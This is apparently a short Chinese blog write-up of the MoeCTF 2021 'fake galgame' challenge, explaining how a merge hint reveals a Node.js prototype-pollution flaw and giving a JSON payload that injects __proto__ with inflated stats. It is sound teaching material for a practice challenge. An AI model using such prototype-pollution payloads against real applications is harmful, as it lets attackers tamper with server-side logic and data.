每日一题 —— [MoeCTF 2021]fake galgame¶
根据题意,我们需要分配 10 点技能点给到勇士三维,但是这肯定不够用。随便输一点就发现被魔王打飞了。提示 merge
过去了。
我们查看源代码,发现提示:把属性设置为 0 ,相当于没有这个属性。那么我们根据之前失败的 merge
提示,可知这是 nodejs 的原型链污染题目。所以我们就需要传参的时候,把原有 json 的属性三维全部设置为 0 ,然后把 __proto__
变量设置为高数值的 json 对象,最终 payload 如下:
{
"attributes": {
"health": 0,
"attack": 0,
"armor": 0,
"__proto__": {
"health": 10000,
"attack": 10000,
"armor": 10000
}
}
}
文章热度:0次阅读